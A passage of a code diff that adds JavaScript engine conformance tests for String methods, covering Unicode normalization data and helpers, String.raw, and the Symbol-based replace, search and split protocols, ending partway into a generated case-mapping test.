+{ source: [0xC7AC, 0x0334, 0x11B5], NFC: [0xC7AC, 0x0334, 0x11B5], NFD: [0x110C, 0x1162, 0x0334, 0x11B5], NFKC: [0xC7AC, 0x0334, 0x11B5], NFKD: [0x110C, 0x1162, 0x0334, 0x11B5] },
+{ source: [0xC800, 0x0334, 0x11BC], NFC: [0xC800, 0x0334, 0x11BC], NFD: [0x110C, 0x1165, 0x0334, 0x11BC], NFKC: [0xC800, 0x0334, 0x11BC], NFKD: [0x110C, 0x1165, 0x0334, 0x11BC] },
+{ source: [0xC8C4, 0x0334, 0x11AE], NFC: [0xC8C4, 0x0334, 0x11AE], NFD: [0x110C, 0x116C, 0x0334, 0x11AE], NFKC: [0xC8C4, 0x0334, 0x11AE], NFKD: [0x110C, 0x116C, 0x0334, 0x11AE] },
+{ source: [0xC918, 0x0334, 0x11B5], NFC: [0xC918, 0x0334, 0x11B5], NFD: [0x110C, 0x116F, 0x0334, 0x11B5], NFKC: [0xC918, 0x0334, 0x11B5], NFKD: [0x110C, 0x116F, 0x0334, 0x11B5] },
+{ source: [0xC96C, 0x0334, 0x11BC], NFC: [0xC96C, 0x0334, 0x11BC], NFD: [0x110C, 0x1172, 0x0334, 0x11BC], NFKC: [0xC96C, 0x0334, 0x11BC], NFKD: [0x110C, 0x1172, 0x0334, 0x11BC] },
+{ source: [0xCA30, 0x0334, 0x11AE], NFC: [0xCA30, 0x0334, 0x11AE], NFD: [0x110D, 0x1164, 0x0334, 0x11AE], NFKC: [0xCA30, 0x0334, 0x11AE], NFKD: [0x110D, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xCA84, 0x0334, 0x11B5], NFC: [0xCA84, 0x0334, 0x11B5], NFD: [0x110D, 0x1167, 0x0334, 0x11B5], NFKC: [0xCA84, 0x0334, 0x11B5], NFKD: [0x110D, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xCAD8, 0x0334, 0x11BC], NFC: [0xCAD8, 0x0334, 0x11BC], NFD: [0x110D, 0x116A, 0x0334, 0x11BC], NFKC: [0xCAD8, 0x0334, 0x11BC], NFKD: [0x110D, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xCB9C, 0x0334, 0x11AE], NFC: [0xCB9C, 0x0334, 0x11AE], NFD: [0x110D, 0x1171, 0x0334, 0x11AE], NFKC: [0xCB9C, 0x0334, 0x11AE], NFKD: [0x110D, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xCBF0, 0x0334, 0x11B5], NFC: [0xCBF0, 0x0334, 0x11B5], NFD: [0x110D, 0x1174, 0x0334, 0x11B5], NFKC: [0xCBF0, 0x0334, 0x11B5], NFKD: [0x110D, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xCC44, 0x0334, 0x11BC], NFC: [0xCC44, 0x0334, 0x11BC], NFD: [0x110E, 0x1162, 0x0334, 0x11BC], NFKC: [0xCC44, 0x0334, 0x11BC], NFKD: [0x110E, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xCD08, 0x0334, 0x11AE], NFC: [0xCD08, 0x0334, 0x11AE], NFD: [0x110E, 0x1169, 0x0334, 0x11AE], NFKC: [0xCD08, 0x0334, 0x11AE], NFKD: [0x110E, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xCD5C, 0x0334, 0x11B5], NFC: [0xCD5C, 0x0334, 0x11B5], NFD: [0x110E, 0x116C, 0x0334, 0x11B5], NFKC: [0xCD5C, 0x0334, 0x11B5], NFKD: [0x110E, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xCDB0, 0x0334, 0x11BC], NFC: [0xCDB0, 0x0334, 0x11BC], NFD: [0x110E, 0x116F, 0x0334, 0x11BC], NFKC: [0xCDB0, 0x0334, 0x11BC], NFKD: [0x110E, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xCE74, 0x0334, 0x11AE], NFC: [0xCE74, 0x0334, 0x11AE], NFD: [0x110F, 0x1161, 0x0334, 0x11AE], NFKC: [0xCE74, 0x0334, 0x11AE], NFKD: [0x110F, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xCEC8, 0x0334, 0x11B5], NFC: [0xCEC8, 0x0334, 0x11B5], NFD: [0x110F, 0x1164, 0x0334, 0x11B5], NFKC: [0xCEC8, 0x0334, 0x11B5], NFKD: [0x110F, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xCF1C, 0x0334, 0x11BC], NFC: [0xCF1C, 0x0334, 0x11BC], NFD: [0x110F, 0x1167, 0x0334, 0x11BC], NFKC: [0xCF1C, 0x0334, 0x11BC], NFKD: [0x110F, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xCFE0, 0x0334, 0x11AE], NFC: [0xCFE0, 0x0334, 0x11AE], NFD: [0x110F, 0x116E, 0x0334, 0x11AE], NFKC: [0xCFE0, 0x0334, 0x11AE], NFKD: [0x110F, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xD034, 0x0334, 0x11B5], NFC: [0xD034, 0x0334, 0x11B5], NFD: [0x110F, 0x1171, 0x0334, 0x11B5], NFKC: [0xD034, 0x0334, 0x11B5], NFKD: [0x110F, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xD088, 0x0334, 0x11BC], NFC: [0xD088, 0x0334, 0x11BC], NFD: [0x110F, 0x1174, 0x0334, 0x11BC], NFKC: [0xD088, 0x0334, 0x11BC], NFKD: [0x110F, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xD14C, 0x0334, 0x11AE], NFC: [0xD14C, 0x0334, 0x11AE], NFD: [0x1110, 0x1166, 0x0334, 0x11AE], NFKC: [0xD14C, 0x0334, 0x11AE], NFKD: [0x1110, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xD1A0, 0x0334, 0x11B5], NFC: [0xD1A0, 0x0334, 0x11B5], NFD: [0x1110, 0x1169, 0x0334, 0x11B5], NFKC: [0xD1A0, 0x0334, 0x11B5], NFKD: [0x1110, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xD1F4, 0x0334, 0x11BC], NFC: [0xD1F4, 0x0334, 0x11BC], NFD: [0x1110, 0x116C, 0x0334, 0x11BC], NFKC: [0xD1F4, 0x0334, 0x11BC], NFKD: [0x1110, 0x116C, 0x0334, 0x11BC] },
+{ source: [0xD2B8, 0x0334, 0x11AE], NFC: [0xD2B8, 0x0334, 0x11AE], NFD: [0x1110, 0x1173, 0x0334, 0x11AE], NFKC: [0xD2B8, 0x0334, 0x11AE], NFKD: [0x1110, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xD30C, 0x0334, 0x11B5], NFC: [0xD30C, 0x0334, 0x11B5], NFD: [0x1111, 0x1161, 0x0334, 0x11B5], NFKC: [0xD30C, 0x0334, 0x11B5], NFKD: [0x1111, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xD360, 0x0334, 0x11BC], NFC: [0xD360, 0x0334, 0x11BC], NFD: [0x1111, 0x1164, 0x0334, 0x11BC], NFKC: [0xD360, 0x0334, 0x11BC], NFKD: [0x1111, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xD424, 0x0334, 0x11AE], NFC: [0xD424, 0x0334, 0x11AE], NFD: [0x1111, 0x116B, 0x0334, 0x11AE], NFKC: [0xD424, 0x0334, 0x11AE], NFKD: [0x1111, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xD478, 0x0334, 0x11B5], NFC: [0xD478, 0x0334, 0x11B5], NFD: [0x1111, 0x116E, 0x0334, 0x11B5], NFKC: [0xD478, 0x0334, 0x11B5], NFKD: [0x1111, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xD4CC, 0x0334, 0x11BC], NFC: [0xD4CC, 0x0334, 0x11BC], NFD: [0x1111, 0x1171, 0x0334, 0x11BC], NFKC: [0xD4CC, 0x0334, 0x11BC], NFKD: [0x1111, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xD590, 0x0334, 0x11AE], NFC: [0xD590, 0x0334, 0x11AE], NFD: [0x1112, 0x1163, 0x0334, 0x11AE], NFKC: [0xD590, 0x0334, 0x11AE], NFKD: [0x1112, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xD5E4, 0x0334, 0x11B5], NFC: [0xD5E4, 0x0334, 0x11B5], NFD: [0x1112, 0x1166, 0x0334, 0x11B5], NFKC: [0xD5E4, 0x0334, 0x11B5], NFKD: [0x1112, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xD638, 0x0334, 0x11BC], NFC: [0xD638, 0x0334, 0x11BC], NFD: [0x1112, 0x1169, 0x0334, 0x11BC], NFKC: [0xD638, 0x0334, 0x11BC], NFKD: [0x1112, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xD6FC, 0x0334, 0x11AE], NFC: [0xD6FC, 0x0334, 0x11AE], NFD: [0x1112, 0x1170, 0x0334, 0x11AE], NFKC: [0xD6FC, 0x0334, 0x11AE], NFKD: [0x1112, 0x1170, 0x0334, 0x11AE] },
+{ source: [0xD750, 0x0334, 0x11B5], NFC: [0xD750, 0x0334, 0x11B5], NFD: [0x1112, 0x1173, 0x0334, 0x11B5], NFKC: [0xD750, 0x0334, 0x11B5], NFKD: [0x1112, 0x1173, 0x0334, 0x11B5] },
+{ source: [0x11131, 0x0334, 0x11127], NFC: [0x11131, 0x0334, 0x11127], NFD: [0x11131, 0x0334, 0x11127], NFKC: [0x11131, 0x0334, 0x11127], NFKD: [0x11131, 0x0334, 0x11127] },
+{ source: [0x11132, 0x0334, 0x11127], NFC: [0x11132, 0x0334, 0x11127], NFD: [0x11132, 0x0334, 0x11127], NFKC: [0x11132, 0x0334, 0x11127], NFKD: [0x11132, 0x0334, 0x11127] },
+{ source: [0x11347, 0x0334, 0x1133E], NFC: [0x11347, 0x0334, 0x1133E], NFD: [0x11347, 0x0334, 0x1133E], NFKC: [0x11347, 0x0334, 0x1133E], NFKD: [0x11347, 0x0334, 0x1133E] },
+{ source: [0x11347, 0x0334, 0x11357], NFC: [0x11347, 0x0334, 0x11357], NFD: [0x11347, 0x0334, 0x11357], NFKC: [0x11347, 0x0334, 0x11357], NFKD: [0x11347, 0x0334, 0x11357] },
+{ source: [0x114B9, 0x0334, 0x114B0], NFC: [0x114B9, 0x0334, 0x114B0], NFD: [0x114B9, 0x0334, 0x114B0], NFKC: [0x114B9, 0x0334, 0x114B0], NFKD: [0x114B9, 0x0334, 0x114B0] },
+{ source: [0x114B9, 0x0334, 0x114BA], NFC: [0x114B9, 0x0334, 0x114BA], NFD: [0x114B9, 0x0334, 0x114BA], NFKC: [0x114B9, 0x0334, 0x114BA], NFKD: [0x114B9, 0x0334, 0x114BA] },
+{ source: [0x114B9, 0x0334, 0x114BD], NFC: [0x114B9, 0x0334, 0x114BD], NFD: [0x114B9, 0x0334, 0x114BD], NFKC: [0x114B9, 0x0334, 0x114BD], NFKD: [0x114B9, 0x0334, 0x114BD] },
+{ source: [0x115B8, 0x0334, 0x115AF], NFC: [0x115B8, 0x0334, 0x115AF], NFD: [0x115B8, 0x0334, 0x115AF], NFKC: [0x115B8, 0x0334, 0x115AF], NFKD: [0x115B8, 0x0334, 0x115AF] },
+{ source: [0x115B9, 0x0334, 0x115AF], NFC: [0x115B9, 0x0334, 0x115AF], NFD: [0x115B9, 0x0334, 0x115AF], NFKC: [0x115B9, 0x0334, 0x115AF], NFKD: [0x115B9, 0x0334, 0x115AF] }
+];
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-part0.js b/js/src/tests/ecma_6/String/normalize-generateddata-part0.js
new file mode 100644
index 000000000..a9bed5b14
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-part0.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part0';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ load('ecma_6/String/normalize-generateddata-input.js');
+
+ for (var test0 of tests_part0) {
+ runNormalizeTest(test0);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-part1-not-listed.js b/js/src/tests/ecma_6/String/normalize-generateddata-part1-not-listed.js
new file mode 100644
index 000000000..c15fff660
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-part1-not-listed.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - not listed in part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ load('ecma_6/String/normalize-generateddata-input.js');
+
+ var part1 = new Set();
+ for (var test1 of tests_part1) {
+ part1.add(test1.source[0]);
+ }
+
+ /* not listed in Part 1 */
+ for (var x = 0; x <= 0x2FFFF; x++) {
+ if (part1.has(x)) {
+ continue;
+ }
+ var xstr = x.toString(16);
+ var c = String.fromCodePoint(x);
+ assertEq(c.normalize(), c, "NFC of " + xstr);
+ assertEq(c.normalize(undefined), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFC"), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFD"), c, "NFD of " + xstr);
+ assertEq(c.normalize("NFKC"), c, "NFKC of " + xstr);
+ assertEq(c.normalize("NFKD"), c, "NFKD of " + xstr);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-part1.js b/js/src/tests/ecma_6/String/normalize-generateddata-part1.js
new file mode 100644
index 000000000..b2a90f5e8
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-part1.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ load('ecma_6/String/normalize-generateddata-input.js');
+
+ for (var test1 of tests_part1) {
+ runNormalizeTest(test1);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-part2.js b/js/src/tests/ecma_6/String/normalize-generateddata-part2.js
new file mode 100644
index 000000000..6a942b3a1
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-part2.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part2';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ load('ecma_6/String/normalize-generateddata-input.js');
+
+ for (var test2 of tests_part2) {
+ runNormalizeTest(test2);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-part3.js b/js/src/tests/ecma_6/String/normalize-generateddata-part3.js
new file mode 100644
index 000000000..d02792701
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-part3.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part3';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ load('ecma_6/String/normalize-generateddata-input.js');
+
+ for (var test3 of tests_part3) {
+ runNormalizeTest(test3);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generic.js b/js/src/tests/ecma_6/String/normalize-generic.js
new file mode 100644
index 000000000..c1c3882cc
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generic.js
@@ -0,0 +1,20 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize no String object';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var myobj = {
+ toString: () => "a\u0301",
+ normalize: String.prototype.normalize
+ };
+ assertEq(myobj.normalize(), "\u00E1");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-parameter.js b/js/src/tests/ecma_6/String/normalize-parameter.js
new file mode 100644
index 000000000..4831c2717
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-parameter.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - passing wrong parameter';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertThrowsInstanceOf(() => "abc".normalize("NFE"), RangeError,
+ "String.prototype.normalize should raise RangeError on invalid form");
+
+ assertEq("".normalize(), "");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-rope.js b/js/src/tests/ecma_6/String/normalize-rope.js
new file mode 100644
index 000000000..b5b8800fa
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-rope.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize rope string';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ /* JSRope test */
+ var a = "";
+ var b = "";
+ for (var i = 0; i < 100; i++) {
+ a += "\u0100";
+ b += "\u0041\u0304";
+ }
+ assertEq(a.normalize("NFD"), b);
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/raw.js b/js/src/tests/ecma_6/String/raw.js
new file mode 100644
index 000000000..1472185af
--- /dev/null
+++ b/js/src/tests/ecma_6/String/raw.js
@@ -0,0 +1,55 @@
+var BUGNUMBER = 1039774;
+var summary = 'String.raw';
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(function() { String.raw(); }, TypeError);
+
+assertEq(String.raw.length, 1);
+
+var cooked = [];
+assertThrowsInstanceOf(function() { String.raw(cooked); }, TypeError);
+
+cooked.raw = {};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {lengt: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: -1};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = [];
+assertEq(String.raw(cooked), "");
+
+cooked.raw = ["a"];
+assertEq(String.raw(cooked), "a");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x"), "axb");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x"), "axbc");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x", "y"), "axbyc");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "x", "y"), "\nx\r\ny\r");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "\r\r", "\n"), "\n\r\r\r\n\n\r");
+
+cooked.raw = {length: 2, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = {length: 4, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axbycundefined");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/String/replace-GetMethod.js b/js/src/tests/ecma_6/String/replace-GetMethod.js
new file mode 100644
index 000000000..c596f946f
--- /dev/null
+++ b/js/src/tests/ecma_6/String/replace-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.replace should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.replace]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".replace(create(v), "+"), "a+a");
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".replace(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/replace.js b/js/src/tests/ecma_6/String/replace.js
new file mode 100644
index 000000000..83aab8f2a
--- /dev/null
+++ b/js/src/tests/ecma_6/String/replace.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@replace] from String.prototype.replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.replace](S, R) {
+ assertEq(S, "abcAbcABC");
+ assertEq(R, "foo");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".replace(myRegExp, "foo"), 42);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/search-GetMethod.js b/js/src/tests/ecma_6/String/search-GetMethod.js
new file mode 100644
index 000000000..4d54cf3fb
--- /dev/null
+++ b/js/src/tests/ecma_6/String/search-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.search should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.search]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".search(create(v)), 1);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".search(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/search.js b/js/src/tests/ecma_6/String/search.js
new file mode 100644
index 000000000..86d0aacc6
--- /dev/null
+++ b/js/src/tests/ecma_6/String/search.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@search] from String.prototype.search.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.search](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".search(myRegExp), 42);
+assertEq(called, 1);
+
+called = 0;
+RegExp.prototype[Symbol.search] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".search("abc"), 43);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/shell.js b/js/src/tests/ecma_6/String/shell.js
new file mode 100644
index 000000000..25e2f7e2f
--- /dev/null
+++ b/js/src/tests/ecma_6/String/shell.js
@@ -0,0 +1,59 @@
+function runNormalizeTest(test) {
+ function codePointsToString(points) {
+ return points.map(x => String.fromCodePoint(x)).join("");
+ }
+ function stringify(points) {
+ return points.map(x => x.toString(16)).join();
+ }
+
+ var source = codePointsToString(test.source);
+ var NFC = codePointsToString(test.NFC);
+ var NFD = codePointsToString(test.NFD);
+ var NFKC = codePointsToString(test.NFKC);
+ var NFKD = codePointsToString(test.NFKD);
+ var sourceStr = stringify(test.source);
+ var nfcStr = stringify(test.NFC);
+ var nfdStr = stringify(test.NFD);
+ var nfkcStr = stringify(test.NFKC);
+ var nfkdStr = stringify(test.NFKD);
+
+ /* NFC */
+ assertEq(source.normalize(), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize(undefined), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(undefined), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(undefined), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(undefined), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(undefined), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize("NFC"), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize("NFC"), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize("NFC"), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize("NFC"), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFC"), NFKC, "NFC of " + nfkdStr);
+
+ /* NFD */
+ assertEq(source.normalize("NFD"), NFD, "NFD of " + sourceStr);
+ assertEq(NFC.normalize("NFD"), NFD, "NFD of " + nfcStr);
+ assertEq(NFD.normalize("NFD"), NFD, "NFD of " + nfdStr);
+ assertEq(NFKC.normalize("NFD"), NFKD, "NFD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFD"), NFKD, "NFD of " + nfkdStr);
+
+ /* NFKC */
+ assertEq(source.normalize("NFKC"), NFKC, "NFKC of " + sourceStr);
+ assertEq(NFC.normalize("NFKC"), NFKC, "NFKC of " + nfcStr);
+ assertEq(NFD.normalize("NFKC"), NFKC, "NFKC of " + nfdStr);
+ assertEq(NFKC.normalize("NFKC"), NFKC, "NFKC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKC"), NFKC, "NFKC of " + nfkdStr);
+
+ /* NFKD */
+ assertEq(source.normalize("NFKD"), NFKD, "NFKD of " + sourceStr);
+ assertEq(NFC.normalize("NFKD"), NFKD, "NFKD of " + nfcStr);
+ assertEq(NFD.normalize("NFKD"), NFKD, "NFKD of " + nfdStr);
+ assertEq(NFKC.normalize("NFKD"), NFKD, "NFKD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKD"), NFKD, "NFKD of " + nfkdStr);
+}
diff --git a/js/src/tests/ecma_6/String/split-GetMethod.js b/js/src/tests/ecma_6/String/split-GetMethod.js
new file mode 100644
index 000000000..a56debe2a
--- /dev/null
+++ b/js/src/tests/ecma_6/String/split-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.split should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.split]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".split(create(v)), ["a", "a"]);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".split(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/split-order.js b/js/src/tests/ecma_6/String/split-order.js
new file mode 100644
index 000000000..b6583ed32
--- /dev/null
+++ b/js/src/tests/ecma_6/String/split-order.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1287521;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var log = [];
+"abba".split({
+ toString() {
+ log.push("separator-tostring");
+ return "b";
+ }
+}, {
+ valueOf() {
+ log.push("limit-valueOf");
+ return 0;
+ }
+});
+
+assertEq(log.join(","), "limit-valueOf,separator-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/split.js b/js/src/tests/ecma_6/String/split.js
new file mode 100644
index 000000000..1cce47f28
--- /dev/null
+++ b/js/src/tests/ecma_6/String/split.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@split] from String.prototype.split.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.split](S, limit) {
+ assertEq(S, "abcAbcABC");
+ assertEq(limit, 10);
+ called++;
+ return ["X", "Y", "Z"];
+ }
+};
+assertEq("abcAbcABC".split(myRegExp, 10).join(","), "X,Y,Z");
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/string-code-point-upper-lower-mapping.js b/js/src/tests/ecma_6/String/string-code-point-upper-lower-mapping.js
new file mode 100644
index 000000000..2c897c8c4
--- /dev/null
+++ b/js/src/tests/ecma_6/String/string-code-point-upper-lower-mapping.js
@@ -0,0 +1,396 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 9.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+assertEq(String.fromCodePoint(0x10428).toUpperCase().codePointAt(0), 0x10400);
+assertEq(String.fromCodePoint(0x10429).toUpperCase().codePointAt(0), 0x10401);
+assertEq(String.fromCodePoint(0x1042a).toUpperCase().codePointAt(0), 0x10402);
+assertEq(String.fromCodePoint(0x1042b).toUpperCase().codePointAt(0), 0x10403);
+assertEq(String.fromCodePoint(0x1042c).toUpperCase().codePointAt(0), 0x10404);
+assertEq(String.fromCodePoint(0x1042d).toUpperCase().codePointAt(0), 0x10405);
+assertEq(String.fromCodePoint(0x1042e).toUpperCase().codePointAt(0), 0x10406);
+assertEq(String.fromCodePoint(0x1042f).toUpperCase().codePointAt(0), 0x10407);
